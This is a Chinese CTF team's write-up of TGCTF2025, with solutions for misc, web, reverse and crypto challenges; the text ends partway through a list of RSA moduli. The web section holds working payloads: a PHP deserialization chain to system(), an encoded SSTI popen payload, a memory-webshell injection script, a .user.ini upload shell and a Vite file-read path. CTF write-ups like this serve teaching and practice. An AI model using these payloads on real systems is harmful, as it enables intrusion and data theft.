Escape in the sun TGCTF2025 Write UP

发布于 26 天前 562 次阅读


队伍名 Escape in the sun 排名 10

感谢每一位队友 都很强 膜拜柯✌️

Misc

next is the end(一血)

010打开看路径,直接复制过去直接打开

where it is(osint)(二血)

直接谷歌识图去看,一搜即有

这是啥o_o

先给分帧,然后拼一个二维码,修一下

time is your fortune ,efficiency is your life

想到时间轴隐写

将这些数字转换为对应的 ASCII 字符。

TGCTF{You_caugth_up_with_time!}

TeamGipsy&ctfer

也是打了非预期啊哈哈

这里有个小知识点,mysql在8.0版本以下,ibd可以直接恢复其中内容,这里的版本是3.8

可以用ibd2sql来恢复数据

你能发现图中的秘密吗?

第一层的密码用Zsteg看

第二层在To not immerse yourself in this novel is to forfeit a constellation of human truths waiting to illuminate your sou1.png中有flag2,文件尾有base64,但感觉没什么用。final_challenge2.png中有个特别大的IDAT块,提取出来,加个文件头文件尾

flag{you_are_so_attentive_and_conscientious}

ez_zip

先爆破出来密码20250412

然后sh512.txt,End.zip中也有这个文件

把sh512.txt进行sh512加密,然后进行明文攻击End.zip(不知道什么问题,要先把sh512压缩了才能爆)

密钥[ b39bc130 8183a9f1 d5381ad8 ]

然后出来一个flag文件夹,加一个789C的Zilb头,去解内容部分就行

TGCTF{Warrior_You_have_defeated_the_giant_dragon!}

你的运气是好是坏?

114514

Web

AAA偷渡阴平

无参rce

http://node1.tgctf.woooo.tech:32357/?tgctf2025=var_dump(scandir(dirname(dirname(dirname(getcwd())))));

可知索引为5. 用array_rand 看脸

http://node1.tgctf.woooo.tech:32357/?tgctf2025=highlight_file(array_rand(array_flip(scandir(dirname(chdir(dirname(dirname(dirname(getcwd())))))))));

火眼辩魑魅

没信息,先打robots.txt

第二个就行了

什么文件上传

1.查看robots.txt路由发现有class.php

2.访问class.php发现是道反序列化,我们利用的是post传参的wow

  • yesterday对象的study属性设置为today实例。
  • today对象的doing属性设置为future实例。
  • yesterday对象被销毁时,触发__destruct,调用study->hard(),从而触发today__call方法。
  • today__call方法中,检查$this->doing的MD5时,由于doingfuture实例,PHP会将其转换为字符串,触发future__toString方法,执行system($_POST["wow"])

exp:

<?php
class yesterday {
public $learn;
public $study;
}
class today {
public $doing;
}
class future {}

$future = new future();
$today = new today();
$today->doing = $future;
$y = new yesterday();
$y->study = $today;

$serialized = serialize($y);
$encoded = $serialized;
for ($i = 0; $i < 5; $i++) {
$encoded = base64_encode($encoded);
}
echo "Payload: ".$encoded."aaaa"; // 添加四个字符,如aaaa
?>

最后加四个aaaa是为了确保文件不存在(实际测试发现可以不用加)

直面天命

查看源码找到hint,让我们去一个四小写字母路由,爆破发现是/aazz

进入后发现源码提示可以传参,寻找发现是?filename=

天命人(复仇)

ssti编码绕过

payload

天命''["\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f"]["\x5f\x5f\x62\x61\x73\x65\x73\x5f\x5f"][0]["\x5f\x5f\x73\x75\x62\x63\x6c\x61\x73\x73\x65\x73\x5f\x5f"]()[132]["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]['\x70\x6f\x70\x65\x6e']('cat /tgffff11111aaaagggggggg')['\x72\x65\x61\x64']()难违

(ez)upload

用用upload目录穿越传个.user.ini上去,然后再传个1.png。就是把1.png的文件内容加到php文件头。蚁剑连看一下环境变量就行

前端GAME

参考CVE-2025-31486 Vite开发服务器任意文件读取漏洞复现https://chenchena.blog.csdn.net/article/details/147150357

直接非预期打环境变量

/proc/self/environ?.svg?.wasm?init

前端GAME Plus

原理同上

TG_wordpress

一个个CVE试出来的,最后发现是这个

熟悉的配方,熟悉的味道

以为是ssti,试了一下{}被ban了,然后访问一下路由,发现有报错回显,尝试打404内存马。exp如下:

import requests
# 定义目标 URL
url = 'http://node1.tgctf.woooo.tech:32357'
# 定义 payload
payload = "cat /flagggggg_tgctf2025_asjdklalkcnkjassjhdlk"
exp = f'''
def shell(request):
import os
res = os.popen("{payload}").read()
return Response(res)
config.add_route('cmd', '/cmd')
config.add_view(shell, route_name='cmd')
config.commit()
'''
# 构造请求数据
data = {"expr": exp}
# 发送 POST 请求
res = requests.post(url, data=data)
# 发送 GET 请求并打印结果
p = requests.get(url + '/cmd')
print(p.text)

TGCTF{1e254da2-538e-7c9a-f0ab-206d3255eb47}

AAA偷渡阴平(复仇)

ban了无参,查了资料,还有用session来打,用十六进制传入进行rce

Re

base64

程序使用自定义Base64编码表对输入进行编码。目标字符串AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=需使用该表解码。编码表为GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI,且编码时每个6位索引经过(index + 24) % 64转换

exp

custom_table = "GLp/+Wn7uqX8FQ2JDR1c0M6U53sjBwyxglmrCVdSThAfEOvPHaYZNzo4ktK9iebI"
base64_table = {char: idx for idx, char in enumerate(custom_table)}
encoded_str = "AwLdOEVEhIWtajB2CbCWCbTRVsFFC8hirfiXC9gWH9HQayCJVbB8CIF=".rstrip('=')
# 转换字符为原始6位值
decoded_6bit = [(base64_table[c] - 24) % 64 for c in encoded_str]
# 拼接二进制字符串
binary_str = ''.join(f"{b:06b}" for b in decoded_6bit)
# 填充并转换为字节
padded_len = len(binary_str) + (8 - len(binary_str) % 8) % 8
binary_str = binary_str.ljust(padded_len, '0')
bytes_data = bytes(int(binary_str[i:i+8], 2) for i in range(0, len(binary_str), 8))
print(bytes_data.decode('utf-8', errors='ignore'))

HZNUCTF{ad162c-2d94-434d-9222-b65dc76a32}

蛇年的本命语言

先用命令python pyinstxtractor.py output.exe 解包得到pyc文件然后反编译

然后⽤ai梭,先z3求解线性⽅程得到对应的ascii码

from z3 import *
# 初始化 Z3 求解器
s = Solver()
# 定义变量 vars[0] 到 vars[29]
vars = [Int(f'vars_{i}') for i in range(30)]
# 添加约束条件(方程)
s.add(7 * vars[0] == 504)
s.add(9 * vars[0] - 5 * vars[1] == 403)
s.add((2 * vars[0] - 5 * vars[1]) + 10 * vars[2] == 799)
s.add(3 * vars[0] + 8 * vars[1] + 15 * vars[2] + 20 * vars[3] == 2938)
s.add((5 * vars[0] + 15 * vars[1] + 20 * vars[2] - 19 * vars[3]) + 1 * vars[4] == 2042)
s.add((7 * vars[0] + 1 * vars[1] + 9 * vars[2] - 11 * vars[3]) + 2 * vars[4] + 5 * vars[5] == 1225)
s.add(11 * vars[0] + 22 * vars[1] + 33 * vars[2] + 44 * vars[3] + 55 * vars[4] + 66 * vars[5] - 77 * vars[6] == 7975)
s.add(((21 * vars[0] + 23 * vars[1] + 3 * vars[2] + 24 * vars[3] - 55 * vars[4]) + 6 * vars[5] - 7 * vars[6]) + 15 * vars[7] == 229)
s.add((2 * vars[0] + 26 * vars[1] + 13 * vars[2] + 0 * vars[3] - 65 * vars[4]) + 15 * vars[5] + 29 * vars[6] + 1 * vars[7] + 20 * vars[8] == 2107)
s.add((10 * vars[0] + 7 * vars[1] + -9 * vars[2] + 6 * vars[3] + 7 * vars[4] + 1 * vars[5] + 22 * vars[6] + 21 * vars[7] - 22 * vars[8]) + 30 * vars[9] == 4037)
s.add((15 * vars[0] + 59 * vars[1] + 56 * vars[2] + 66 * vars[3] + 7 * vars[4] + 1 * vars[5] - 122 * vars[6]) + 21 * vars[7] + 32 * vars[8] + 3 * vars[9] - 10 * vars[10] == 4950)
s.add((((13 * vars[0] + 66 * vars[1] + 29 * vars[2] + 39 * vars[3] - 33 * vars[4]) + 13 * vars[5] - 2 * vars[6]) + 42 * vars[7] + 62 * vars[8] + 1 * vars[9] - 10 * vars[10]) + 11 * vars[11] == 12544)
s.add((((23 * vars[0] + 6 * vars[1] + 29 * vars[2] + 3 * vars[3] - 3 * vars[4]) + 63 * vars[5] - 25 * vars[6]) + 2 * vars[7] + 32 * vars[8] + 1 * vars[9] - 10 * vars[10]) + 11 * vars[11] - 12 * vars[12] == 6585)
s.add(((((223 * vars[0] + 6 * vars[1] - 29 * vars[2] - 53 * vars[3] - 3 * vars[4]) + 3 * vars[5] - 65 * vars[6]) + 0 * vars[7] + 36 * vars[8] + 1 * vars[9] - 15 * vars[10]) + 16 * vars[11] - 18 * vars[12]) + 13 * vars[13] == 6893)
s.add(((((29 * vars[0] + 13 * vars[1] - 9 * vars[2] - 93 * vars[3]) + 33 * vars[4] + 6 * vars[5] + 65 * vars[6] + 1 * vars[7] - 36 * vars[8]) + 0 * vars[9] - 16 * vars[10]) + 96 * vars[11] - 68 * vars[12]) + 33 * vars[13] - 14 * vars[14] == 1883)
s.add((((69 * vars[0] + 77 * vars[1] - 93 * vars[2] - 12 * vars[3]) + 0 * vars[4] + 0 * vars[5] + 1 * vars[6] + 16 * vars[7] + 36 * vars[8] + 6 * vars[9] + 19 * vars[10] + 66 * vars[11] - 8 * vars[12]) + 38 * vars[13] - 16 * vars[14]) + 15 * vars[15] == 8257)
s.add(((((23 * vars[0] + 2 * vars[1] - 3 * vars[2] - 11 * vars[3]) + 12 * vars[4] + 24 * vars[5] + 1 * vars[6] + 6 * vars[7] + 14 * vars[8] - 0 * vars[9]) + 1 * vars[10] + 68 * vars[11] - 18 * vars[12]) + 68 * vars[13] - 26 * vars[14]) + 15 * vars[15] - 16 * vars[16] == 5847)
s.add((((((24 * vars[0] + 0 * vars[1] - 1 * vars[2] - 15 * vars[3]) + 13 * vars[4] + 4 * vars[5] + 16 * vars[6] + 67 * vars[7] + 146 * vars[8] - 50 * vars[9]) + 16 * vars[10] + 6 * vars[11] - 1 * vars[12]) + 69 * vars[13] - 27 * vars[14]) + 45 * vars[15] - 6 * vars[16]) + 17 * vars[17] == 18257)
s.add(((((25 * vars[0] + 26 * vars[1] - 89 * vars[2]) + 16 * vars[3] + 19 * vars[4] + 44 * vars[5] + 36 * vars[6] + 66 * vars[7] - 150 * vars[8] - 250 * vars[9]) + 166 * vars[10] + 126 * vars[11] - 11 * vars[12]) + 690 * vars[13] - 207 * vars[14]) + 46 * vars[15] + 6 * vars[16] + 7 * vars[17] - 18 * vars[18] == 12591)
s.add((((((5 * vars[0] + 26 * vars[1] + 8 * vars[2] + 160 * vars[3] + 9 * vars[4] - 4 * vars[5]) + 36 * vars[6] + 6 * vars[7] - 15 * vars[8] - 20 * vars[9]) + 66 * vars[10] + 16 * vars[11] - 1 * vars[12]) + 690 * vars[13] - 20 * vars[14]) + 46 * vars[15] + 6 * vars[16] + 7 * vars[17] - 18 * vars[18]) + 19 * vars[19] == 52041)
s.add(((((((29 * vars[0] - 26 * vars[1]) + 0 * vars[2] + 60 * vars[3] + 90 * vars[4] - 4 * vars[5]) + 6 * vars[6] + 6 * vars[7] - 16 * vars[8] - 21 * vars[9]) + 69 * vars[10] + 6 * vars[11] - 12 * vars[12]) + 69 * vars[13] - 20 * vars[14] - 46 * vars[15]) + 65 * vars[16] + 0 * vars[17] - 1 * vars[18]) + 39 * vars[19] - 20 * vars[20] == 20253)
s.add((((((((45 * vars[0] - 56 * vars[1]) + 10 * vars[2] + 650 * vars[3] - 900 * vars[4]) + 44 * vars[5] + 66 * vars[6] - 6 * vars[7] - 6 * vars[8] - 21 * vars[9]) + 9 * vars[10] - 6 * vars[11] - 12 * vars[12]) + 69 * vars[13] - 2 * vars[14] - 406 * vars[15]) + 651 * vars[16] + 2 * vars[17] - 10 * vars[18]) + 69 * vars[19] - 0 * vars[20]) + 21 * vars[21] == 18768)
s.add((((((555 * vars[0] - 6666 * vars[1]) + 70 * vars[2] + 510 * vars[3] - 90 * vars[4]) + 499 * vars[5] + 66 * vars[6] - 66 * vars[7] - 610 * vars[8] - 221 * vars[9]) + 9 * vars[10] - 23 * vars[11] - 102 * vars[12]) + 6 * vars[13] + 2050 * vars[14] - 406 * vars[15]) + 665 * vars[16] + 333 * vars[17] + 100 * vars[18] + 609 * vars[19] + 777 * vars[20] + 201 * vars[21] - 22 * vars[22] == 111844)
s.add((((((((1 * vars[0] - 22 * vars[1]) + 333 * vars[2] + 4444 * vars[3] - 5555 * vars[4]) + 6666 * vars[5] - 666 * vars[6]) + 676 * vars[7] - 660 * vars[8] - 22 * vars[9]) + 9 * vars[10] - 73 * vars[11] - 107 * vars[12]) + 6 * vars[13] + 250 * vars[14] - 6 * vars[15]) + 65 * vars[16] + 39 * vars[17] + 10 * vars[18] + 69 * vars[19] + 777 * vars[20] + 201 * vars[21] - 2 * vars[22]) + 23 * vars[23] == 159029)
s.add((((520 * vars[0] - 222 * vars[1]) + 333 * vars[2] + 4 * vars[3] - 56655 * vars[4]) + 6666 * vars[5] + 666 * vars[6] + 66 * vars[7] - 60 * vars[8] - 220 * vars[9]) + 99 * vars[10] + 73 * vars[11] + 1007 * vars[12] + 7777 * vars[13] + 2500 * vars[14] + 6666 * vars[15] + 605 * vars[16] + 390 * vars[17] + 100 * vars[18] + 609 * vars[19] + 99999 * vars[20] + 210 * vars[21] + 232 * vars[22] + 23 * vars[23] - 24 * vars[24] == 2762025)
s.add(((((1323 * vars[0] - 22 * vars[1]) + 333 * vars[2] + 4 * vars[3] - 55 * vars[4] + 666 * vars[5] + 666 * vars[6] + 66 * vars[7] - 660 * vars[8] - 220 * vars[9]) + 99 * vars[10] + 3 * vars[11] + 100 * vars[12] + 777 * vars[13] + 2500 * vars[14] + 6666 * vars[15] + 605 * vars[16] + 390 * vars[17] + 100 * vars[18] + 609 * vars[19] + 9999 * vars[20] + 210 * vars[21] + 232 * vars[22] + 23 * vars[23] - 24 * vars[24]) + 25 * vars[25] == 1551621))
s.add((((((777 * vars[0] - 22 * vars[1]) + 6969 * vars[2] + 4 * vars[3] - 55 * vars[4]) + 666 * vars[5] - 6 * vars[6]) + 96 * vars[7] - 60 * vars[8] - 220 * vars[9]) + 99 * vars[10] + 3 * vars[11] + 100 * vars[12] + 777 * vars[13] + 250 * vars[14] + 666 * vars[15] + 65 * vars[16] + 90 * vars[17] + 100 * vars[18] + 609 * vars[19] + 999 * vars[20] + 21 * vars[21] + 232 * vars[22] + 23 * vars[23] - 24 * vars[24]) + 25 * vars[25] - 26 * vars[26] == 948348)
s.add(((((((97 * vars[0] - 22 * vars[1]) + 6969 * vars[2] + 4 * vars[3] - 56 * vars[4]) + 96 * vars[5] - 6 * vars[6]) + 96 * vars[7] - 60 * vars[8] - 20 * vars[9]) + 99 * vars[10] + 3 * vars[11] + 10 * vars[12] + 707 * vars[13] + 250 * vars[14] + 666 * vars[15] + -9 * vars[16] + 90 * vars[17] + -2 * vars[18] + 609 * vars[19] + 0 * vars[20] + 21 * vars[21] + 2 * vars[22] + 23 * vars[23] - 24 * vars[24]) + 25 * vars[25] - 26 * vars[26]) + 27 * vars[27] == 777044)
s.add(((((((177 * vars[0] - 22 * vars[1]) + 699 * vars[2] + 64 * vars[3] - 56 * vars[4] - 96 * vars[5] - 66 * vars[6]) + 96 * vars[7] - 60 * vars[8] - 20 * vars[9]) + 99 * vars[10] + 3 * vars[11] + 10 * vars[12] + 707 * vars[13] + 250 * vars[14] + 666 * vars[15] + -9 * vars[16] + 0 * vars[17] + -2 * vars[18] + 69 * vars[19] + 0 * vars[20] + 21 * vars[21] + 222 * vars[22] + 23 * vars[23] - 224 * vars[24]) + 25 * vars[25] - 26 * vars[26]) + 27 * vars[27] - 28 * vars[28] == 185016)
s.add(((((((77 * vars[0] - 2 * vars[1]) + 6 * vars[2] + 6 * vars[3] - 96 * vars[4] - 9 * vars[5] - 6 * vars[6]) + 96 * vars[7] - 0 * vars[8] - 20 * vars[9]) + 99 * vars[10] + 3 * vars[11] + 10 * vars[12] + 707 * vars[13] + 250 * vars[14] + 666 * vars[15] + -9 * vars[16] + 0 * vars[17] + -2 * vars[18] + 9 * vars[19] + 0 * vars[20] + 21 * vars[21] + 222 * vars[22] + 23 * vars[23] - 224 * vars[24]) + 26 * vars[25] - -58 * vars[26]) + 27 * vars[27] - 2 * vars[28]) + 29 * vars[29] == 130106)
# 检查是否有解
if s.check() == sat:
m = s.model()
solution = [m[vars[i]].as_long() for i in range(30)]
print("Solution found:", solution)

然后再逆向理解前⾯的过程,主要判断条件为

if O0o00 != '111111116257645365477364777645752361':

然后再对应分配位置 HZNUCTF{ad7fa-76a7-ff6a-fffa-7f7d6a}

水果忍者

利用dnspy反编译文件,找到game/assets/bin/data/Managed/Assembly-CSarp.dll这个 dll 文件

在gamemanager里面找到了加密函数和密文密钥

在线工具解密

XTEA

给了一个压缩包密码,将它十六进制之后作为迭代常量0x9E3779B9

TEA算法

import struct
常量定义
NUM_ROUNDS = 32
DELTA = 0x9E3779B9
UINT32_MASK = 0xFFFFFFFF
def decipher(delta, left, right, key):
"""
解密函数(TEA 算法改进版)。
参数:
delta -- 常量,0x9E3779B9
left -- 左半部分数据(无符号32位整数)
right -- 右半部分数据(无符号32位整数)
key -- 长度为4的密钥列表,每个元素均为无符号32位整数

返回:
(new_left, new_right) 解密后的左右两部分数据
"""
v0 = left
v1 = right
# 初始 sum 值为 -delta * NUM_ROUNDS,即 -0xC6EF3720,注意使用 32 位无符号运算
sum_val = (-0xC6EF3720) & UINT32_MASK

for _ in range(NUM_ROUNDS):
# 解密右半部分
temp = (key[((sum_val >> 11) & 3)] + sum_val) & UINT32_MASK
temp ^= (v0 + (((v0 >> 5) ^ (v0 << 4)) & UINT32_MASK)) & UINT32_MASK
v1 = (v1 - temp) & UINT32_MASK

# 累加 sum 值
sum_val = (sum_val + delta) & UINT32_MASK

# 解密左半部分
temp = (key[(sum_val & 3)] + sum_val) & UINT32_MASK
temp ^= (v1 + (((v1 >> 5) ^ (v1 << 4)) & UINT32_MASK)) & UINT32_MASK
v0 = (v0 - temp) & UINT32_MASK

return v0, v1
def print_data(title, data):
"""
打印数据数组,以十六进制显示每个无符号32位整数。
"""
print(title)
for num in data:
print("0x%08X," % num, end=" ")
print("\n")
def print_as_string(values):
"""
将 uint32_t 数据(大端序)转换为字符串显示。
每个 32 位整数按大端顺序分解成 4 个字符。
"""
result = bytearray()
for val in values:
# 使用 struct.pack 将整数转换为大端字节序
result.extend(struct.pack(">I", val))
# 解码为 ASCII 字符串(假设结果均为可打印字符)
print("Decrypted flag: " + result.decode('utf-8', errors='replace'))
def main():
# 密钥数组
key = [0x000019F8, 0x000011BE, 0x00000991, 0x00003418]
# 待解密的 uint32_t 数据(密文)
v = [
0x8CCB2324, 0x09A7741A, 0xFB3C678D, 0xF6083A79,
0xF1CC241B, 0x39FA59F2, 0xF2ABE1CC, 0x17189F72
]
# 显示加密数据
print_data("Encrypted data:", v)
print("Decrypting data...")
# 按原逻辑:从后往前对相邻两个 uint32_t 进行解密(从 v[6] 开始到 v[0])
for i in range(6, -1, -1):
v[i], v[i+1] = decipher(DELTA, v[i], v[i+1], key)
# 显示解密后的 uint32_t 数据
print_data("Decrypted uint32_t values:", v)
# 打印转换为字符串后的结果
print_as_string(v)
if name == "main":
main()

Crypto

费克特尔

先用Factordb分解n

exp

from sympy import mod_inverse
from Crypto.Util.number import long_to_bytes
# 已知 RSA 参数
c = 670610235999012099846283721569059674725712804950807955010725968103642359765806
n = 810544624661213367964996895060815354972889892659483948276203088055391907479553
e = 65537
p1 = 113
p2 = 18251
p3 = 2001511
p4 = 214168842768662180574654641
p5 = 916848439436544911290378588839845528581
# 计算欧拉函数 φ(n) = (p1-1)*(p2-1)*(p3-1)*(p4-1)*(p5-1)
phi = (p1 - 1) * (p2 - 1) * (p3 - 1) * (p4 - 1) * (p5 - 1)
# 计算私钥指数 d,使得 d*e ≡ 1 (mod φ(n))
d = mod_inverse(e, phi)
# RSA 解密:计算 m = c^d mod n
m = pow(c, d, n)
# 将解密得到的整数转换为字节串,再解码(如果可能的话)
plaintext_bytes = long_to_bytes(m)
try:
plaintext = plaintext_bytes.decode()
except UnicodeDecodeError:
plaintext = plaintext_bytes # 如果不是有效的文本编码,则以字节串形式显示
print("解密得到的明文:", plaintext)

解密得到的明文: TGCTF{f4888_6abdc_9c2bd_9036bb}

宝宝rsa

PART1 使用两个 512 位素数生成的模数 n₁,并“随机”选取一个较小的公钥指数 e₁(位数为 17 或 18 位), 加密了 flag 的前半部分。题目只公开了 p₁、q₁ 与密文 c₁,未给出 e₁。 由于 e₁ 的范围较小(约在 2¹⁷~2¹⁸ 区间内),我们可以遍历该范围内所有素数候选值,对每个候选 e₁ 检查:

  • 是否与 φ(n₁) 互质
  • 用候选的 e₁ 恢复出私钥 d₁,然后对 c₁ 解密得到 m₁
  • 如果解密结果转成字节串后符合我们对 flag(例如以 flag{ 开头等)的预期,则认定候选正确

PART2 使用两个 512 位素数生成的模数 n₂,并固定公钥指数 e₂ = 3 对 flag 的后半部分进行加密。 若 m₂ 较小(无需模 n₂ 的归约),则有

c2=m23c₂ = m₂^3c2=m23

这时可利用整数立方根直接恢复 m₂。

from math import gcd
from sympy import primerange, mod_inverse, integer_nthroot
from Crypto.Util.number import long_to_bytes
p1 = 8362851990079664018649774360159786938757293294328116561219351503022492961843907118845919317399785168488103775809531198339213009936918460080250107807031483
q1 = 8312546034426788223492083178829355192676175323324230533451989649056072814335528263136523605276378801682321623998646291206494179416941978672637426346496531
c1 = 39711973075443303473292859404026809299317446021917391206568511014894789946819103680496756934914058521250438186214943037578346772475409633145435232816799913236259074769958139045997486622505579239448395807857034154142067866860431132262060279168752474990452298895511880964765819538256786616223902867436130100322
n1 = p1 * q1
phi1 = (p1 - 1) * (q1 - 1)
print("开始破解 PART1 ...")
found_e1 = None
m1_recovered = None
for e_candidate in primerange(2**17, 2**18):
if gcd(e_candidate, phi1) == 1:
​ try:
​ d = mod_inverse(e_candidate, phi1)
​ except Exception:
​ continue
​ m1_candidate = pow(c1, d, n1)
​ flag_part1 = long_to_bytes(m1_candidate)
​ if b"TGCTF{" in flag_part1:
​ found_e1 = e_candidate
​ m1_recovered = flag_part1
​ print("找到正确的 e1:", e_candidate)
​ print("PART1 解密结果:", flag_part1)
​ break
if found_e1 is None:
print("未能在候选 e1 中找到合适的解密结果,可能需要手动判断解密出的数据。")
else:
print("\nPART1 的 flag(前半部分)恢复成功。")
n2 = 103873139604388138367962901582343595570773101048733694603978570485894317088745160532049473181477976966240986994452119002966492405873949673076731730953232584747066494028393377311943117296014622567610739232596396108513639030323602579269952539931712136467116373246367352649143304819856986264023237676167338361059
c2 = 51380982170049779703682835988073709896409264083198805522051459033730166821511419536113492522308604225188048202917930917221
e2 = 3
print("\n开始破解 PART2 ...")
m2, exact = integer_nthroot(c2, e2)
if exact:
flag_part2 = long_to_bytes(m2)
print("PART2 解密结果:", flag_part2)
else:
print("c2 不是完整的立方数,还原失败,请检查数据或尝试其它方法。")
if m1_recovered is not None and exact:
flag_full = m1_recovered + flag_part2
print("\n完整 flag:", flag_full)
else:
print("\n由于部分数据未能恢复,flag 尚未完整恢复。")

AAAAAAAA·真·签到

一眼凯撒,第一个数字25,后面每一位递增1

def caesar_cipher_decrypt(ciphertext, start_offset):
decrypted_message = ""
offset = start_offset
for char in ciphertext:
if char.isalpha():
base = ord('A') if char.isupper() else ord('a')
decrypted_char = chr((ord(char) - base + offset) % 26 + base)
decrypted_message += decrypted_char
elif char.isdigit():
decrypted_char = chr((ord(char) - ord('0') + offset) % 10 + ord('0'))
decrypted_message += decrypted_char
else:
decrypted_message += char
offset += 1
return decrypted_message
ciphertext = "UGBRC{RI0G!O04_5C3_OVUI_DV_MNTB}"
start_offset = 25
print(caesar_cipher_decrypt(ciphertext, start_offset))

字母对不上,说明数字对的

给数字改回去就行 TGCTF{WO0O!Y04_5R3_GOOD_AT_MOVE}

mm不躲猫猫

公因子漏洞 当多个 RSA 模数 n₁, n₂, … 出现共用某个素数(假设 p)时,如果有  gcd(nᵢ, nⱼ) = p (p > 1) 则可以利用这一共因子将两个模数各自分解为  nᵢ = p · qᵢ   nⱼ = p · qⱼ 一旦知道了 p 与其中一个 n 的另一个因子 q,即可计算 Euler 函数  φ(n) = (p – 1)(q – 1) 之后利用 e 求出私钥 d(满足 d · e ≡ 1 mod φ(n)),继而解密密文。

批量求 gcd 由于题目给出 307 组 (n, c),常用手法是对所有模数进行两两求 gcd(即遍历所有 (nᵢ, nⱼ) 对),找出那些 gcd > 1 的情况。这样可以将大部分存在问题的模数分解出来。

恢复私钥并解密 对于每个被成功分解的模数 n,可以求出:  p = gcd(nᵢ, nⱼ)  q = nᵢ / p 得到 φ(nᵢ) 后再计算私钥 d,最后利用快速幂算法解密  m ≡ c^d mod n 从 m 中转换出明文字符串。

exp:

import math
from Crypto.Util.number import inverse, long_to_bytes
data = [
(int("104620414822063385079326749509982471870030893600285414264987224935916290272601764523383209465433613538037960991762459760833469310204135961581840403511596166088644211015428546275493892988418626726155859624501730928694822384537353845736516967991087412959351952563730377463899768183476698424362423043497737906623"),
int("46039211893589761388229614285558239355119695176816949068907191054207506730440947101388028710988726734999719468830467682553990941948390688315715650976965231516653707125993971747796355564587123089802425266994022342763366946693028597366959030863496254672081216842747104144465753908738135854355761032614829767801")),
(int("136155385285881847647215965185525314111620437662648298206297512719879362719618304990758477078778565820295983050789197481446196249495631490160624235332536575107813683782766081951446123450465630897720159758797590205308439297488584076508093180968162324630134629769513496515404803402321721368832460090329222421827"),
int("89662183394841207920629365819797260101947925700835102302177181731227878954957449881945530912024549859105187175733895858270028583699811542603429941425305090712263572930206869292032730915960185806373681528825761306228562959997158901987273897776177362099560025615451752245984242926480186459915665627188585304468")),
(int("97838166150880996322271330309067876274369629304288765249967974468367105054047299499596040632925907384502862419004673114223665726506104837885822909371569060745589002030380969587694083056125880529762088534900418072441378759571612290245967363366712440121861026216057485493561216431656619679041625036650956580141"),
int("13964437454524296084510225903229161859257123876632697866040207708487126396198332364645709267606449694929792345209792570053510791963531448336253575726210469465864539890677252499866753713612441273667882500168058017224495736582505959700480874460389262074140652815959688469055699161959913579169401470659235115109")),
(int("104414012452710814870605097680598206512628379244374492767447479240624513395489881648267796649097204325681020437139111489809239200240891543325545119842310141868094306405364856531235723882286394670951990820247279699581908662322090700977209258378235724854303512782381876653582770637338146610370083320542016205683"),
int("82881158840663752381301293012156412156837667139486617975885122294931414239233800584880788452785824426565433162837294264882670497672373640661237256739513251217169843502230708215107997955489103032973333421550906077697455003620266617859876793492495921562432213017574083204710327670808824909752320056069246239174")),
(int("99823327577152655919881942955430441203405862718412557750434832628874011564431142403116162320302719502032615315370431727445122354675365173475960959108842673705131185515432235779337198687430269502043589489978848478071330885198888066287011818540897074331277424039757182998605121722943855660357645805326677153717"),
int("64138140240395665924604130130703540113256964046054792668268574048575684146042187358538769647646826411085147480827784068745180715064157256643530984132712374746041235071459578557497303083281429793485934099219969514633245125822049070217273545487615694689955426204739083406630834370776842330036968574339849312190")),
(int("90248365015461553299898947837419575685297696972462936965177693228158751120540052910252324465443891464072089492969551376378871872695721660747109548018879225735392583821723157787309278187199003459586595097068752600095247478763948136028872918472784517794186246938117176464805239704409618972143063753329505566853"),
int("1223888729370280608766408497925046298425450348475284427245593721486677451374468326993646894433196784805828316395498508329520722177308210723319637874241965908787713633812806440948367216379440947308444484034237493420426695742994319947973787416278207394357344618722581642427663321180647265844445386795487560858")),
(int("94301600004957404266556049084426784947851528267810628496480180851237620577304221709916982386576998311327072033147184826449394769608326104893954128903966864163663992266019244394627758978231671671541415036785806102418923157988170641749789081578513122682013855878981445323502941212687339286209950916049829329187"),
int("82863658163999555104982625957574084596896562517734036934606118180244186596013418259858429681535345561639916993457165170775791581510308180862345406598823456939294419306667134634269429977644283692866602683240830596570130273545693685907124378153685099119789311788059184914707444767893674300246508953649015681088")),
(int("138170846301125942544269528744423947570529693718702890060589562072507810299909374867578243513284575250911481367534521588818327369799372617013333797662648828094081675473684406506957984907476220469711444738611866548585674505249902648164090122673746393223709022870555269699592064314818239962909612890442312536933"),
int("119491008614166618841992196881667810795520664399142702036770629613897435080974181361028261908409801454926881075401108841568189702203622458656829859177063551730844676750575953975812052429747999704001795514743286102185049083720492556614745899457272537611852473621247097119159488258837994164495342656615476302293")),
(int("99901179729466406997922350743173808335015436647254619150427257167185543967050112627966407293196288285044671444967319335613534165252968178742796010193662584739560998687124865190606432448575536720824666312791430118010828122012890994586807518564096074794014835645108286554069368202103540075137356780856603244771"),
int("40949907108391333609720915101613553123371146309830061575032335884884685212781529054807943471531015409944714724754037484012671956839250763388297109533737287622070764203904098500668030151150924717345985380483608467246475689588355409720763724390243856239025656921590604001847453755775742556441416378253225782045")),
(int("61259690030437494665426739847257152273395280130837116404942961022205772370190262747451577687684105785729566638453953643821737649627970942826417199458528269898125881584665758246625505537450238486870409634480317106977874179837348319750569863206089421857959928948968490914332458264088528882363587362546115476251"),
int("10692583709802517287930376649896453621521035451564315558444774153067965107653136923487082233843270601808293644966170765029706088111741391700718327393258142617729248507339361448214949280176995019279632751180066719588055722391265746855172906890300921322899541689661567468774910639893953734407333686955281968991")),
(int("61801039992828445962366192979879213579034618929625634137120257905363978638538524619375061476757245266904915273416909418840046887399433511888387463824393594567840703853932743962712886373493942192676347226424517033517271152629683484135645803084066312864114637935053614714648933122150287993866439987611541220969"),
int("10954274353991105637557727664545210588822691288407080879449837043794604324870247005437716228395288744012991388616203129640408571481134055220861654888292000079401922754349164416070902140135750687970710746596746307040822491545884725291812622162525094521528191986864571199953770504742086093754298024706688942928")),
(int("81076578036433170079082060836251685409287159446492965753296193307212279343201967736475565889190946261084018661195513222887762729102719817463298142435098272288250455906191971306724773977704843489656384202130835772028461187750372122197493270556005946889088028901632597942947850025951446511574872271538279172293"),
int("28588867978892890299123101792867355705290435712099342525411465487097050420749940637639374841366314897499067089478542918061978965078760947752781916587927764087734267821483523703898120835527780177065213641081291514925902487762337571992584303375758239828857480300529159002038173766923215063406196287270281994110")),
